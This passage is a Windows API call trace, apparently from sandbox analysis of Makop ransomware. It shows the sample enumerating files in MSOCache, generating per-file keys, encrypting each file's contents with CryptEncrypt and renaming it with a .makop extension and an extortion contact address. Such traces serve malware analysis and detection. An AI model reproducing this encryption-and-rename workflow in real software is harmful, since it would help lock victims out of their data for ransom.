[0077.861] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0077.861] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0077.861] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.861] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0077.861] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0077.861] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0077.861] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0077.862] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0077.862] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0077.862] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0077.862] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.862] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.862] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x15b5, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x15b5, lpOverlapped=0x0) returned 1 [0077.865] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x15c0, dwBufLen=0x15c0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x15c0) returned 1 [0077.865] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.865] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x15c0, lpOverlapped=0x0) returned 1 [0077.866] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.866] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.866] SetEndOfFile (hFile=0x124) returned 1 [0077.872] GetProcessHeap () returned 0x48a0000 [0077.872] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0077.872] GetProcessHeap () returned 0x48a0000 [0077.872] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0077.872] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0077.872] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0077.880] CloseHandle (hObject=0x124) returned 1 [0077.880] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0077.880] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.881] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0077.881] GetProcessHeap () returned 0x48a0000 [0077.881] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0077.881] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0077.881] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0077.881] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0077.881] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.881] GetProcessHeap () returned 0x48a0000 [0077.881] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0077.882] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0077.882] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.882] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0077.897] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0077.897] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0077.897] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0077.897] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0077.898] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0077.898] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0077.898] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.898] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.898] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd4200, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0xd4200, lpOverlapped=0x0) returned 1 [0077.947] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0xd4200, dwBufLen=0xd4200 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0xd4200) returned 1 [0077.957] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.957] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd4200, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0xd4200, lpOverlapped=0x0) returned 1 [0077.963] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.963] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd42d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.963] SetEndOfFile (hFile=0x124) returned 1 [0077.972] GetProcessHeap () returned 0x48a0000 [0077.972] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0077.972] GetProcessHeap () returned 0x48a0000 [0077.972] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0077.972] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0077.972] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0077.982] CloseHandle (hObject=0x124) returned 1 [0077.983] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0077.983] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0077.983] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0077.983] GetProcessHeap () returned 0x48a0000 [0077.983] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0077.983] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0077.984] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0077.984] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xd, lpOverlapped=0x0) returned 1 [0077.989] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0077.989] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.989] GetProcessHeap () returned 0x48a0000 [0077.989] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0077.989] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0077.989] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.989] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0077.989] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0077.989] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0077.990] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0077.990] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0077.990] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0077.990] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0077.990] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.990] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.990] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x333, lpOverlapped=0x0) returned 1 [0077.991] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x340, dwBufLen=0x340 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x340) returned 1 [0077.991] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.991] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x340, lpOverlapped=0x0) returned 1 [0077.991] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.991] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.991] SetEndOfFile (hFile=0x124) returned 1 [0077.999] GetProcessHeap () returned 0x48a0000 [0077.999] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0077.999] GetProcessHeap () returned 0x48a0000 [0077.999] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0078.000] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0078.000] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0078.004] CloseHandle (hObject=0x124) returned 1 [0078.004] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0078.004] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0078.004] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0078.005] GetProcessHeap () returned 0x48a0000 [0078.005] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0078.005] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0078.005] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0078.005] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0078.005] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0078.005] GetProcessHeap () returned 0x48a0000 [0078.005] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0078.005] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0078.006] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0078.006] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0078.011] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0078.011] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0078.011] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0078.011] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0078.012] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0078.012] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0078.012] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0078.012] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.012] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2ed80, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x2ed80, lpOverlapped=0x0) returned 1 [0078.019] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x2ed80, dwBufLen=0x2ed80 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x2ed80) returned 1 [0078.021] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.021] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2ed80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x2ed80, lpOverlapped=0x0) returned 1 [0078.023] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0078.023] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2ee54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.023] SetEndOfFile (hFile=0x124) returned 1 [0078.033] GetProcessHeap () returned 0x48a0000 [0078.033] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0078.033] GetProcessHeap () returned 0x48a0000 [0078.033] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0078.033] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0078.034] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0078.034] CloseHandle (hObject=0x124) returned 1 [0078.035] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0078.035] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0078.035] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0078.035] GetProcessHeap () returned 0x48a0000 [0078.036] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0078.036] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0078.036] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0078.036] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | 